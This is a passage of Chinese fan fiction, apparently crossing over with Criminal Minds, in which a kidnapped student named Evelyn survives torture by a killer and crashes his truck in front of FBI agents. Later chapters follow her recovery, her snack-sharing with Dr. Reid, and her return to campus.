可惜每一次都会被毒打,打得实在没有力气敲窗,而除了这个房间,也只有早上和晚上男人在家时才会带着她去厨房,为他们父子俩做饭。
厨房位置属于下沉式房间,和半个地下室一样,窗户只露出了地平线三分之一,还被凌乱的铁丝遮挡,没有人能够听到她的喊声,也没有人看到。
伊芙琳觉得这里是住宅区,但与邻居的房子间隔很远……这和叫天天不应叫地地不灵的荒无人烟之地没有区别。
就在伊芙琳情绪不正常的快速低落时,那只手突然死死的拽着她的胸,用力之大差点让伊芙琳疼的尖叫,可对比指甲被戳的尖锐到窒息的痛相比,这似乎都能忍受了。
男孩离开后,伊芙琳依旧闭着眼睛,直到她听到了门锁咔嚓声,吃力的睁开眼。
看着斑驳的棚顶,她觉得,这大概是最后一次机会了。
如果她能做到……
男孩的行为让伊芙琳证实了自己的猜测,她忍着恶心合憎恶,为刚才突然想到的一件事短暂的激动了一下。
家长访问日……
算算时间,也就是这几天……
4. 撞车,结束
洛根下班推开房门,一眼就看见躺在地上的女人,看着那双蓝色的眼睛,他厌恶的皱了皱眉。
伊芙琳头皮都发紧,她紧张的咽了咽口水,强镇定下来,好在男人只让她做饭。
伊芙琳艰难的起身,等待着男人将她脚上和手上的绳子解开后,她低着头将嘴上的胶带撕开,指甲触碰到脸颊带来不明显的刺痛。
她现在一定很难看,一个月没有清洗的脸上或许还带着黑红色的血痂,断掉牙齿的地方也很痛。
男人一直和她贴的很近,伊芙琳起身时胳膊能触碰到对方的腿,不过眼下更疼的是她的肋骨。
不过即便再痛她也尽量让自己快一点,她怕自己慢一步会被打,她真的不知道再来一顿暴打还能不能熬过去,走路时骨折的地方更是疼的冒汗。
厨房里有男人买回来的鸡肉。
餐桌上,洛根的儿子塞缪尔正双脚牢牢的踩着凳子下的横木上,做着作业。
很安静……
伊芙琳一边撒黑胡椒盐粒,一边将火点燃。她很喜欢做菜,被绑架前还做了一份椒盐橄榄薄饼。但现在她厌恶极了……如果手里有敌敌畏,她会毫不犹豫的倒下去一整瓶。
没有任何尖锐的东西,刀具也没有,男人带回来的东西全都是超市打折区处理好的食材,塑料膜一撕,里面就是成片的鸡排。
“老师让家长明天去学校参加开放日活动。”塞缪尔趴在桌上写作业。
十岁的男孩体格也很壮实,如果不看脸只看背影,无疑会被人以为是一个十五六岁的高中生。
塞缪尔卷曲的深棕色长发和妈妈一样,因为长时间不打理乱蓬蓬的堆在脖颈处,他一双眼睛看向对面的男人,他的爸爸。
黄昏之下的厨房更加阴暗,陈旧的冷色的灯光落到对面男人的眼睛里,他的眼球黑瘆。
塞缪尔低下头,同样晦暗的双眸带着一股凉薄的平淡。
男人不知道自己的孩子看着自己,他双手无意识的带着不经意的抽动死死的抠着指甲旁的肉,他像是监视又像是在看着什么宠物,盯着伊芙琳的背影好一会,在塞缪尔说完后也没有回应。
伊芙琳被盯的浑身僵硬,她很怕突如其来的寂静,这个男人经常坐在那看着她,你放松下来他就会突然暴起将你殴打一通。
她现在很没有安全感,生怕对方又一次从身后拖拽她殴打她,她时时刻刻紧绷着身子,心脏都在极度警惕和害怕中一阵阵紧缩。
每个州的小学开放日都不会相差很远大多在开学初期。
西雅图的小学是四月中旬,伊芙琳之前就在想,如果借着塞缪尔恶心的心思,或者她可以出去。
不过也有可能洛根根本不想去家长开放日,也或许为了方便直接将伊芙琳绑起来带着塞缪尔去参加活动。
无论怎样,只要塞缪尔能够让他爸爸参加活动日,无论带不带她,这都是她最后一次机会了。
钉子戳进指甲缝里那种尖锐的痛,她只要想起就头皮发麻,她实在不是一个坚强的姑娘,那种无休止的施虐,那种痛苦。如果再来一次,不如直接一刀来的痛快,她真的觉得自己疯了,她明明很想活着,可……
就在鸡排放入煎锅中发出滋啦声,伊芙琳身后男人才道,“不去。”
伊芙琳心咚的落入谷地,她轻轻吸口气慢慢吐出去,不是她不想正常的呼吸,而是正常呼吸都会牵动肋骨,太疼了。
不过再怎么疼也疼不过听到男人说不去的两个字,真的是让她绝望的鼻子泛酸,张大眼睛不敢哭……
“可是同学们都去……他们之前嘲笑我没有妈妈现在嘲笑我连爸爸都没有……”
伊芙琳听到身后男人瞬间气急了的粗喘,她吓得猛的转身紧贴着灶台,被煎锅的边缘烫到了手腕也只是轻轻挪开手,她克制着自己警惕的目光缓缓地转过身,因为男人并没有看着她而是目光死死的盯着男孩低垂的脑袋。
塞缪尔双手重新放在□□,双手死死的扣着指甲,他不想被人嘲笑,而他即便紧张也知道父亲不会再打自己,从去年开始他就再也没有挨过打。
“我不会去,塞缪尔,但我可以送你上学。”洛根说完话,他起身靠近伊芙琳,他贴的很近,目光死死的黏在伊芙琳的眼睛上。
像是警告又像是喃喃自语,“不要妄想逃跑……我会和你一直在一起。”
伊芙琳紧张到发抖,她转头看着锅,她手脚发麻都忘了将鸡排翻面,一只手猛的握紧她的手,感觉到指甲被人重新扒开,她痛的呼吸急促想要躲开却被人死死的抱着。
一根,两根……食指还是无名指……
伊芙琳被男人捂着嘴巴紧紧的按在墙上,手指上的血三滴四滴的落到地板上。
“嘘,嘘…哭什么…”男人贴上来,狰狞的脸夹杂着深深的抬头纹……
———————
蓝色的皮卡车就停在厨房的窗口。
凌晨四点,伊芙琳绑着手绑着脚被人扔进了车座上,这个时间送奶和送报的人都没起床不要说其他人。
车子一路畅通无阻的行驶在小路上,伊芙琳想要摸到方向盘同归于尽都没办法动手,她真的觉得同归于尽是最好的结局。
伊芙琳低着头,油乎乎的头发散落在脸颊两侧直接挡住了她的脸,血腥气的臭味让她格外焦躁。
以后不可能再出来了,这次是唯一一次……可她被绑着!
什么都做不了!
十岁的塞缪尔坐在伊芙琳的腿上,他闭着眼用后背死死的贴着女人柔软的胸口……他迷恋如此柔软温暖的触感,伊芙琳感觉到了对方的动作恶心的够呛。
行驶二十分钟左右,皮卡车慢慢的停在了树林间的小路边上,尽头就是处在黑夜中的小学大门口。
车子停下后,伊芙琳感觉到男人的目光,她躲着那个目光想要靠近车窗,可塞缪尔非常利落的打开车门跳下去然后快速的关上车门,这两个动作干净利落的仿佛没有用多大力气。
十岁的男孩力气就如此之大,思想成熟并已经开始有意引诱父亲为自己挑选女人……
伊芙琳不想让他逃脱,如果警察只以为塞缪尔年纪小而放过他……等到这个男孩长大……
不过她不知道还有没有命在……也没有多余的心思操心别人……
男人慢条斯理的触碰她的脚腕,伊芙琳在他低下头弯腰的瞬间,她想提膝狠狠的砸向那张让人倒胃口的脸。
不过伊芙琳并没有动手。
她手脚都没解开呢,膝盖用的力气再大也不至于让对方瞬间晕厥。车也紧锁,两个车座上也没有任何利器或钝器。
如果逞一时痛快,她只会让这个男人更加警惕,伊芙琳静等着机会,回程的路上没有塞缪尔如同一面墙遮挡住她,即便手被捆着,抢方向盘的动作还是可以做到。
男人看着伊芙琳瑟缩在角落,他也不担心这个女人会做出什么可笑的反击。
双手的绳子在松开的瞬间,男人手里一个黑色的小口径枪在黑夜中,漆黑的车厢内,抵着女人的额头。
她被绑走的时候更冷,三月份的天气都需要穿一件薄薄的羽绒服,可那件衣服被男人很快的烧掉了只留下她身上单薄的体恤和牛仔裤。
所以那种冰冷的触感从额头缓缓滑动向下时,伊芙琳猛的咽了咽口水。
为什么将绳子解开,因为他不怕我跑,伊芙琳想到这一点她低着头并没有吭声,塞缪尔再次打开车门爬上来坐到伊芙琳的腿上。
下了一夜的雨,西雅图的天难得迎来了晴空,七点十分左右校门口已经有少量的学生被家长送进去,几名女老师和家长说了几句后弯腰让孩子们进自己的班级。
男人单手把着方向盘,另一只手藏在下面。
蓝色的皮卡车从林中慢悠悠的开到校门口,塞缪尔快速的跳下车关上车门,任何人都没有猜到车上的男人拿着枪威胁身边的女孩。
塞缪尔的老师看到塞缪尔时,目光落到了他刚刚跳下的皮卡车,靠近校门口一侧的车窗里陌生年轻姑娘让老师有些好奇的问了一嘴。
“那是谁?”
塞缪尔德老师年纪不大,二十五六,对待学生不是很严格,塞缪尔很喜欢这个老师,他也乐意回答,“她是我最爱的人。”
塞缪尔的老师没明白,只觉得这孩子神神叨叨的真是奇怪,不过看了眼女孩苍白的脸也没在意,带着塞缪尔离开。
“你爸爸也不参加,那你今天和帕克一个组交换食物。”
塞缪尔抬头看着老师,沉沉的眼睛里闪过一丝微不可察的亮光,他想要笑但知道自己尽情的笑会吓到别人,于是他抿着嘴道“您什么时候来我家里家访?我很期待。”
他可太想老师陪着他了……哪怕劝爸爸找了几个金发碧眼的姑娘,都没有老师好看……
———————
凌晨六点十八分数辆警车包围在洛根.怀特的房子门口。
摩根刚要踹门发现不对劲。
“门是锁着的。”霍奇皱眉看向四周。
“家长开放日。”
瑞德穿着FBI防弹背心下车后,来到门口看了眼,突然想起来今天是西雅图小学的家长开放日。
一部分人留在原地,另一部分人驱车赶往西雅图小学。
伊芙琳看着穿过小路,皮卡车并入黄土飞扬的公路上,两侧是黄土下坡和树林。
车子很大,冲下去的瞬间皮卡车一定会翻滚下去,树干很细,只有成年人手臂粗细,车翻滚下去的冲力一定会将前后左右几十颗树苗撞断,可这个力道不知道能不能让人当场毙命。
伊芙琳此刻手被人重新绑上,但她能够摸到方向盘。
男人看着路前方,视线并没有在伊芙琳身上停留,只不过他盯着不远处右侧行驶过来的一连串警车,骤然警惕。
伊芙琳听到警笛声时,她转头看向身侧的车窗外,目光和一双浅棕色的眼眸短暂的
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对视了几秒,她猛的扑向方向盘。
“你做什么!”洛根.怀特本看到这么多警车而在警惕时,身侧的女人疯了一样扑过来抓着方向盘,那两只手死死的把着方向盘最上面的位置使劲往右侧掰,他咆哮道“给我滚回去!”
与此同时,瑞德抓着前面车坐的靠背,大喊“停车!我看到伊芙琳.蔡司。”
摩根毫不犹豫的猛打方向盘,刺耳的摩擦声,几辆警车通通迅速的跟上了摩根滑入左边车道。
JJ已经打电话通知交通局的人。
伊芙琳死死的想要将方向盘往右转,指尖和肉在紧绷的用力中崩裂,疼,但是伊芙琳依旧想要转回去。
FBI的背心,那个男的穿着FBI的背心!我死也要死在FBI的后屁股,他们一定会查清她们遭遇的一切痛苦,那个架子上本该是鲜活的心脏被这个狠毒变态的杀人犯生生的活剥了下来!FBI一定会让洛根.怀特牢底坐穿!如果他还活着的话!
与此同时,右边车道不知为何,除了路过的警车其余一辆车都没有,如同被封锁了一样,而左边洛根怀特这一侧倒是身前身后都有车辆,可渐渐的本和前面一辆车离得很远,可眼见着越来越近!
“放手!疯婆子!前面停车了!”
前面停车了!而洛根怀特的车还在弯曲着高速往前冲,看着马上要撞上去,他怕了。
这个变态杀人狂竟然怕了!伊芙琳看到这一幕,咬着牙用力气的时候忍不住在内心嘲讽,你竟然会怕死!这太可笑了!
洛根怀特看着女人还不松手他猛地踩刹车,可问题是,洛根怀特觉得这个女人已经被他驯服,所以他只是绑了女人的手却没有绑住对方的脚,被人猛的踢到了脚踝,尖锐的疼让男人下意识的哆嗦了一下,而刹车没踩下去,一旁的油门却被女人狠狠的踩住。
“你不活了吗!”洛根怀特眼睁睁的看着车就要撞上去了在这一刻她发自内心的想要活命,并发自内心的想要大声质问一旁的疯婆子!而一旁女人轻声笑道,“我以为我已经死了。”
男人吓的亮眼呆滞,手的力道都放轻了,他一只手拿着枪抵着女人的脑子,伊芙琳不为所动,咬牙猛的转过方向盘。
刺耳的轮胎摩擦地面的声音响起,摩根他们刚下车,就看到蓝色的皮卡疯了一样转弯直往他们车子冲,瑞德已经走到车尾,正从腰间拿出枪,还未抬头,整个人警觉的迅速退后。
可来不及了,那车离瑞德还有十米远。
瑞德能够清晰的看到座位上的争执的两个人。
伊芙琳匆忙间余光看到前面停下的警车和那个FBI,她瞳孔紧锁,警车怎么会停在路边!
伊芙琳根本不知道瑞德在那一瞬间的对视认出她,来不及了!在男人的怒骂和抢指着太阳穴,她又一次打转方向盘,车子在公路上因极速转弯轮胎发出剧烈的摩擦声。
蓝色皮卡和警察擦肩而过时,隔着一张玻璃,伊芙琳看到那些人被身后的FBI的人拉扯的远远的,才松口气,直接松开手。
蓝色的皮卡在众人眼皮子底下剧烈翻滚下去黄坡,直接将下面的树林中撞出了一条路。
脑袋因惯性撞碎了玻璃,只疼了一瞬眼前一黑,整个人舒舒服服的昏死过去……闭眼前看到倒扣的碎玻璃外的匆忙赶过来的几双腿,如果能活下来……
“快!”
摩根第一个跑过去,尘土飞扬,车头倒栽,摩根徒手一把掀开伊芙琳这一侧的车门,本就破碎的玻璃哗啦堆了一地,血从里面缓缓的流淌出来。
伊芙琳血肉模糊的被摩根小心的挪动着拖了出来,她整个人都悄无声息,呼吸仿佛都要停了。
瑞德就在摩根身后,他跑的不快,赶来时看着惨烈的车祸现场,他抿着嘴脸色也有些苍白,瑞德很清楚她看到他了才打转了方向。
受害者被摩根抱出来时额头上的血和梅芙的样子恍惚间重合在一起。
救护车到了,急救人员快速接过摩根手中的伤者,上了救护车就前往最近西雅图医院。
JJ和艾米丽跟着救护车一起走了,瑞德和摩根一起跟着洛根.怀特上了另一辆救护车。
霍奇带着其他人去洛根怀特的房子。
将木架上的心脏一一带走,罗西上前看了眼霍奇盯着的工具箱,都和受害者身上的伤痕对比的工具百分之八十的吻合。
里面的钉子有一颗上面还是没带着已经干涸的裂纹的血渍。
霍奇和罗西回到警局,他们觉得事情还未完全解决。
犯人的儿子被人带到了警局,十岁的男孩长得比同龄人高大,他静静地坐在会议室里。
塞缪尔并不慌张,爸爸说了,什么事都和他没有关系……
霍奇靠着会客室不远处的办公桌,琢磨那个看起来丝毫没有惊慌失措的男孩。
罗西靠着桌子,和里面的男孩目光对视片刻,半晌看向一侧的霍奇。“他不是完全的被动,在这场猎杀中。”
5. 分享
伊芙琳出院的时候已经快六月了,湿冷的西雅图温度上升,她正在病房内慢吞吞的整理自己的行李。
妈妈给她带了很多衣服,光睡衣就带了四套……
伊芙琳在和最后一个空的行李箱作斗争,而她身后三个硕大的行李箱将她遮挡的严严实实。
瑞德抱着一束向日葵跟在罗西身后,他站在门口就看到伊芙琳一条腿压在行李箱上,吃力地拉着拉链。
听到走廊的脚步声停在门口,伊芙琳下意识的快速转身,整个人贴着床柱,警惕的看向门口。
她知道自己这样的状态不对,可她总会陷入过度紧张的困境中,从醒过来到现在,可能状态比最初好了一些,但也没好到哪里去。
罗西见伊芙琳整个人紧绷起来,眼底带着缓缓消失的恐惧,他笑了笑,伸出手道“伊芙琳,我在讲座上见过你。”
伊芙琳在看到两张眼熟的脸,恐惧已经慢慢从眼底散开,随之而来就是有些不好意思,她回握着罗西先生的手,抿着嘴笑了笑“作为学生我很荣幸。”
“恭喜你出院”罗西将一个半大的包装袋递给伊芙琳,看着小姑娘额头上还贴着一块渗着黄色药水的纱布,心里叹口气,要留疤了。
“希望你会喜欢。”老先生眨了眨眼,“这是我最喜欢的一款巧克力。”
伊芙琳连忙接过,“我很喜欢,”她看了眼一侧的瑞德博士,和最后一次见面相比,对方的黑眼圈更重了。
瑞德将向日葵递给面前的姑娘,“祝贺你出院。”
“谢谢,”伊芙琳左手抱着鲜花右手提着袋子,看着面前的两位客人,她冷不丁想起来该让人坐下来,她连忙转身想带着两位客人去沙发上坐着,她得好好招待,从某种角度上来说这都是她的救命恩人。
不过脚边的几个大箱子,床上沙发上都是衣服、毛绒动物玩偶……这一次住院,妈妈将伊芙琳所有的家当都归笼到了医院里。
伊芙琳将东西放到桌子上,快速的将玩偶和衣服抱到了床上。
罗西刚要和瑞德一起帮忙,手机铃声响起,他歉意的和伊芙琳说了一句抱歉,就出门接电话了。
伊芙琳暗叹,之前上课的时候就觉得这位老先生博学又温柔,现在更觉得对方非常绅士,她视线一转,就看瑞德博士抱着两个黄鸭子小心的放到了床上。
真是…….妈妈带了太多的衣服了,伊芙琳很苦恼,她从醒来后妈妈每天都会带东西过来,伊芙琳也说过不要带太多,拿回去也很麻烦的。但是显然对方并没有听进去。
两人也都不是什么活泼外向的人,病房内安静极了,两人就搬了一次,黄色的沙发上就清扫干净了,因为今天就要走,一些东西都被清理了,只有自己珍藏的一包零食没找到机会塞进嘴里。
有些犹豫的搓了搓手,和同样站在沙发一侧的那双暖棕色的眼睛对视片刻,伊芙琳轻声道,“抱歉,我这里没准备什么,”
呆呆的看着地面上的灰尘颗粒,瑞德听到这里连忙摆手,他语速飞快道,“请千万不要抱歉,是我们来的匆忙,没有提前告知。”
伊芙琳抿了抿嘴角,她看了眼博士,发现对方似乎有些紧张的样子,整理了好几次蓝色衬衫的袖口,她看了几眼,轻声道“但是我有一袋珍藏的小零食可以和你分享……”
瑞德愣了一下,他眨了眨眼。
分享小零食?这种有趣的体验还是在瑞德五岁的时候……和爸爸妈妈一起分享。
一个三十一岁,一个二十岁,加起来五十的大龄儿童,隔着两个人的距离,分别坐在沙发上分享伊芙琳袋子里的小零食。
瑞德对棕色的袋子里会有什么零食而产生好奇,坐着沙发的边缘位置,眼睛一个劲的往袋子里瞧。
伊芙琳低着头将一袋透明包装的食物拿出来,里面是一根根油乎乎红彤彤的食物,拿出来的瞬间,瑞德听到了一声咽口水的声音……
实际上伊芙琳确实被辣条的味道深深的吸引住了,袋子黑色的封口处还有庆州好味道五个汉字。
还未打开,隔着袋子就能闻到油乎乎辛辣的味道,这已经是最后一包了,有时候对于吃货来说,囤的食物很快就要到期是一个非常苦恼的事情,尤其是妈妈也不是经常去樱花家拍摄纸尿裤广告……那就不能路过华国……
伊芙琳撕开袋子,从纸袋里又翻出来两个塑料手套。
罗西挂掉电话回病房时,在门口就闻到了很好闻的辛辣香味,很提食欲的味道,不过更让罗西忍不住觉得好笑的是,这俩人和小孩子一样,乖乖巧巧的分享食物,齐齐低着头用手纸接着食物滴落的油,吃的津津有味。
瑞德从来没有吃过这种油辣的食物,这个东西有点让人上瘾,两人吃完一袋后都带着意犹未尽还想再吃。
“好吃吧,”伊芙琳摘掉手套扔到脚边的垃圾桶里,自信的问着小伙伴,小伙伴点了点头,白皙的脸上都泛起了红晕,嘴巴也红红的,“很好吃,这是华国的食物吗?”他见到了上面的说明,可惜他并没有系统学过汉语,上面的汉字他认识的不多。
说起自家的美食,伊芙琳笑的有些小得意,“这可是我、华国上到八十老人下到四岁的孩子都最爱的零食,以麻辣甜香为主打,”只可惜现在是2009年,还没有魔
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芋爽和其他产品。
瑞德手指抵着嘴巴,他辣的还在吸气,听到伊芙琳说的话,他想了想,然后赞同的点了点头,“我相信你说的是真的,这个食物真的很美味,它的名字是叫wei,weilonglatiao?”
瑞德想起自己学的几个小知识点,按照抑扬顿挫的语调,说出了让伊芙琳眼睛一亮的普通话。
“你的中文怎么说的这么好?音调很准确!”伊芙琳不吝啬自己的夸赞,她可很久没有听到这么正宗的普通话了,去唐人街遇到的也都是一些听不懂的方言……
瑞德被夸的有些不好意思,他手指掩遮着嘴角,另一只手撑在身后,眼睛注意到伊芙琳又伸进了牛皮袋里,他好奇的看着两个圆饼被硬塑料包裹,上面也是汉字,是两个汉字。
“月饼?”瑞德拿不准,迟疑的询问。
伊芙琳愣了一下,“您竟然也知道月饼?”
“华国中秋节日,家人团聚在一起吃的食物,相传……”
罗西看着瑞德对于中秋这个节日侃侃而谈了一分钟还准备继续说下去,而另一个人一边撕开月饼一边安静的听着,他突然觉得自己可以暂时消失一会儿,今天讲座结束就没什么工作了,毕竟是周日。
不过话音刚落,两道手机铃声,一个在病房内,一个在走廊……
罗西深吸口气,两眼望天接了电话。
病房内,瑞德挂断电话,他率先起身,伊芙琳也跟着站起来。
“抱歉,我要先走了。”瑞德轻声道,而他手里还有半块豆沙月饼。
伊芙琳连忙将沙发上的袋子一股脑塞到小伙伴的怀里,看着对方抱在怀里她才笑着道“再见。”
估摸以后也只有偶尔几次讲座才能见到面了……
瑞德匆匆出门找罗西,没想到人就在走廊。
两人坐飞机直接前往目的地。
在飞机上,罗西看了眼瑞德怀里的袋子,封口已经被瑞德卷起,又看了眼歪着脑袋看向窗外的瑞德,打量对方的神色,罗西不动声色的问道“看你们吃的好像很好吃,你有要到对方的电话吗?或许可以问问她这些东西都从哪里买来的,我都有些想要尝一尝呢。”
瑞德轻轻的啊了一声,明明三十岁却依旧带着稚气,“我忘了,我只记得是华国的零食。”
那个辣条真的很好吃,他也想买一些,可以在看书的时候吃。
罗西内心叹息,本以为对方懊恼没有要到伊芙琳电话是因为想要继续发展,他还以为这孩子能展开一段浪漫的爱情呢,结果人家满脑子都是吃的。
那东西就那么好吃?
6. 求链接
莉娅因妨碍公务而被行政拘留,虽然已经回了学校,但她做的事还是被广泛的传开了。
伊芙琳已经搬了出去,很久没有见到她了。
两人在走廊擦肩而过时,都装作看不到对方,只是伊芙琳依旧觉得憋屈。
任谁被室友骗着开门而被抓走,并且经历了那种痛苦,而罪魁祸首从头到尾没有露面,连个道歉都没有……
走进教室时,里面的人还不是很多,不过总有人往她身上瞧,瞧了几眼后和同伴窃窃私语。
有的表情神秘莫测,有的一脸不忍。
伊芙琳摸了摸额角,新长出的碎毛根本遮挡不住那一片伤疤。
小姑娘本就不大,爱美也是人之天性,有几次晚上洗脸的时候对着镜子看了好久。
说不难过也是骗人的。
细小的痕迹有一点不自然的浅白,时间长了后新肉慢慢的和皮肤的颜色相近,如果不是扒着镜子凑近看,也不会很明显。
好事的大学生们从各个渠道翻到了伊芙琳的照片。
这年头能有高清像素照相机用来拍伊芙琳的人,不是记者、摄像师,就是家里有钱无所事事的家伙。
伊芙琳只在电脑上看了几眼,上面还有人评论,好的坏的都有,不过里面有一大部分是围绕着莉娅。
伊芙琳找到了前排靠窗的位置坐下,还未从包里掏出笔记本,肩膀被人小小的拍了一下,她吓得一抖,不过反映不是很激烈,原因之一就是那个熟悉的玫瑰香。
浓烈的让伊芙琳小小的打了个喷嚏。
一道嗓门有些粗的声音响起,“我喷的够少了,还那么浓?”
伊芙琳拿着纸巾擦了擦鼻子,面前穿着荧光粉的黑珍珠芭比,就是她的好友翠丝。
翠丝两鬓扎着黑色的爆炸卷,一双黑漆漆的大眼配着黑漆漆的脸蛋。姑娘正抬着胳膊,脑袋使劲的往胳肢窝拱,翠丝深深的吸了几口气放下胳膊回味了一下,“好像是有点浓。”
伊芙琳刚想说不是有点浓,是很浓。就见对方突然缩了下脖子,都不用想,肯定是老师来了。
这姑娘高高的一米七五的个子愣是缩成了一团鬼鬼祟祟的往后挪,一直挪到倒数第二排才坐下,冲她扬了扬手里的粉红色塑料壳诺基亚。
桌上的手机突然传来连续的震动,几条短信快速的发了过来。
伊芙琳掀开盖子,小小的方形屏幕看着还是不太方便。
【毒寡妇的男朋友把她给甩了,她学费都成了问题,她现在在找下一家。但她在本学校是找不到了,谁都不想引狼入室,】
【维多利亚阿姨什么时候回克利夫兰?我要去你家住一段时间,我妈把我的行李从二楼扔下来了,我当时正站在楼下和她对骂,这个狠毒的女人肯定想把我砸死,她不求着我回去我是坚决不回去的!】
伊芙琳想起翠丝妈妈那粗壮的身板,以及粗旷的性格,她并不认为好友的妄想会成为现实,实际上提亚阿姨应该双手双脚的欢迎自己的大女儿赶快离开。
翠丝总会不经意的摧毁她妈妈的家中约会,阿姨单身了两年……
伊芙琳最后一次去好友家时,阿姨的脸色看着像是已经隐忍的要炸了……连带着看到伊芙琳都没有以往的微笑,连敷衍的微笑都没有了……
看了眼前面正在低头点名的老师,伊芙琳快速的打字。
【阿姨的约会又被你破坏了吧。如果是这样的话,我建议你不用等她求你回去了。】
显然,阿姨彻底摆脱了一个大灯泡,短时间内不太想看到自己的女儿,翠丝想要等着母亲哭着喊着求她回去,除非是在梦里。
伊芙琳也没敢溜号太长时间,盖上手机放到一边,连续的震动传来她也只是默默的将手机从桌上放到了兜里,一手撑着脑袋,一只手在键盘上单手打字。
重回校园的这段时间,阳光、湖畔、林荫、干净明亮的教学楼、严肃或优雅的老师、认识或者不认识的同学,这些随处可见的都慢慢的让紧绷着的伊芙琳放松下来。
阳光穿过窗户落到她的身上,温暖的教室里带着木质的香气,还有同学们自己带的零食散发的味道,伊芙琳垂眸看着笔记本的屏幕,有一种想要安心睡觉的感觉。
她现在回想那段日子,依旧觉得不可思议,害怕还是害怕,但更多的是庆幸自己很勇敢很坚强的活了过来。
她可真是太棒了不是吗?
有时候半夜惊醒后,打开电视抱着巧克力冰淇淋时,她就这么安慰自己。
下课后,黑色的爪子搭着伊芙琳的肩膀,紧接着粉嫩的黑珍珠芭整个黏在了伊芙琳的后背,声音对比女生的纤细粗旷了一些,但撒娇起来倒是知道掐着嗓子。 “伊芙,你母亲在家不,我好想和你睡在一起。”
“在家。”伊芙琳拖着身后的累赘,抱着笔记本艰难的往前走。
身后重重的叹口气,“哎,你妈妈可很少在你那住这么长时间。”
不过想到伊芙琳之前是合租,以维多利亚女士的性子,是绝对不会住那么拥挤和破旧的小房子。
翠丝下巴搭在伊芙琳脑袋上,手向前摸索的找到了粗糙的疤痕。
上面已经长好了,但很可惜留下了淡淡的痕迹,翠丝也不敢让脆皮好友背着她了,一把揽着好友道,“你还活着,这让我很开心,我都吓哭了,我以为你要死了。”
“你都不知道你被救出来,你妈妈还有哥哥姐姐都围着你,我还从来没看到过他们掉眼泪呢,尤其是你艾美姐,她在走廊哭的喘不过气。”
“你妈妈更是妆都不化听到你的消息就从酒店跑了出来,还穿着睡衣呢,她可从没这么邋遢过。”
自从伊芙琳失踪,维多利亚女士就一直留守在西雅图,肉眼可见的憔悴的厉害,往日的毒舌和不会看眼色的本事都一瞬间丧失了。
身边的人出事时那种令人惊恐和担忧的情绪,翠丝可再也不想体会了。
伊芙琳也难过自己让妈妈这么担心,维多利亚女士每天看到她的伤口都叹气……更别提伊芙琳看着电视剧大笑时那一颗空荡荡后槽牙,每一次看到她大笑时,都一副被雷劈了的样子。
虽然后来做了假牙,但伊芙琳也不敢在她面前大笑了。
也不怪这位女士如此重视女儿的外在条件,维多利亚女士为了让大女儿艾美一直保持苗条的身材,骗艾美吃糖果会过敏。
伊芙琳从懂事起就不敢在艾美姐面前吃甜食,对方咽口水的痛苦样子让她都不好意思吃了。
而事后艾美得知自己吃糖并不会过敏,从那以后维多利亚女士就成了艾美口中的恶毒后妈。
明星似乎都很注意自己的外表,也很注意配偶和子女的外表。
配偶……艾美的爸爸因为婚后一年内充气了一样发福,维多利亚女士和平离婚。
伊芙琳一直期待自己能够找到一位温柔帅气的男朋友,艾美姐总说她遗传了妈妈的基因好色……
翠丝翘着兰花指发短信,不知道看到了什么冷不丁转头问道“你给我的辣条还剩最后一包落在家里了,那个恶毒女人刚才和我说不许我进门……”
黑珍珠眨了眨大眼睛,殷勤道,“你那还有吧。”
辣条啊,伊芙琳摊手,“最后一包在医院就吃光了。”
“不是忌口一个月吗?”翠丝一脸控诉“你骗人!”
这个真没骗人,伊芙琳已经没什么零食了,她也想飞回去买点,可问题是现在学业兼职都很忙的,轻易回不去。
说起来,也不知道那个袋子里的零食,博士先生喜不喜欢。
那都是经典中的经典。
山省阳家的杏脯,纯天然晒干,没有加糖自带果糖,又大又甜,咬着有韧劲又不会很粘牙。
而半斤的连家的地瓜干更是她的最爱,她晚上熬夜的时候总会叼一根磨牙。
一颗细长软糯的地瓜干就是一整个地瓜直接晒干的,吃起来外皮柔韧内里软乎乎的,地瓜的香气浓缩了一样,闻起来就香甜香甜的。
本就临近中午,伊芙琳回味了一下每个零食的味道,想着想着肚子叫了起来。
而远在拉斯维加斯办案结束的BAU小组成员,驱车回酒店的路上就饿的肚子咕噜咕噜叫。
肚皮响得惊天动地的加西亚捂着肚子痛苦的呻吟,“还没有到吗?可以把我先放下去吗?随便哪里都可以,我要吃饭!”
她早上就喝了一杯咖啡,三明治咬了一口就被拉着干活。加西亚捂了一会肚子看向一旁开车的JJ,可
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怜巴巴的样子。
JJ只匆忙看了一眼,握着方向盘看着前方两边都没什么建筑,这地方下去连车都不好打,更别说吃饭的地方了。
摩根在车后座,看了眼加西亚,目光落到一侧看着窗外出神的瑞德。
小帅哥今天戴了一副黑框眼镜,更加书卷气十足,不过因为过于秀气和干净的外表,导致这次办案时被德州警方一度认为是个还在上大学的文弱学生,一个编外人员。
家属有好几次都忽略了在一旁静静地听着她们讲话的瑞德,直到瑞德一枪崩了共犯的膝盖骨,学生可没有资格配枪的。
“嘿,”摩根一把揽过好友,打量着他右手边的挎包,里面除了电脑可还有吃的呢,他早上还看到这人从书包里拿出一根红棕色的条状食物咬在嘴里。
“交出来。”摩根伸出手。
瑞德看了几眼自己面前摊开的黑爪子,他茫然道,“交出什么?”
摩根勾了勾手,“吃的。”
加西亚听到瑞德有吃的,直接转身扒着椅背,卷发都跟着脑袋上的红毛弹了好几下。
“吃的!瑞德有吃的!我要吃!”
瑞德想起包里只剩下三根的地瓜干,有些犹豫的掏出来,吃了就没了……
透明的袋子拿出来,里面三根整整齐齐的地瓜干,外层还带着薄薄的一层白色的霜粉。
不仔细看还以为是发霉了。
加西亚拿在手里发出了相似的疑问,这声疑问如同按了什么按键一样,后座瑞德清澈的嗓音叭叭叭的开始了讲解了地瓜在蒸晒的过程中水分蒸发糖分浓缩渗出表面重新结晶……
反正加西亚相信瑞德不可能将长霉的食物给她,她将后面的喇叭一样的讲解直接过滤,捏了一根出来,这东西闻着还挺甜的,加西亚饿的够呛此刻闻到味道更饿了,一口下去咬了大半截,中间软糯的位置还拉出来细小的黏丝,入口软糯香甜。
加西亚分享给了摩根和JJ,JJ那一根是被加西亚喂到嘴里。
三人被地瓜干弄的馋虫都跑了出来,不说加西亚,JJ和一代硬汉摩根吃完后都动了念头,纷纷询问瑞德在哪买的。
JJ还准备给家里人带一些,好吃还很营养,饿的时候吃一根就很顶饱了。
对于朋友们的询问,瑞德只能说自己不知道。
问哪来的也只说是别人送的。
几人到了酒店洗完澡换掉了身上带血的衣服,在楼下的餐厅吃午餐时罗西听了一耳朵,他搅了一叉子意面笑着道,“你们可别为难瑞德了,那些东西是伊芙琳.蔡司送给他的。”
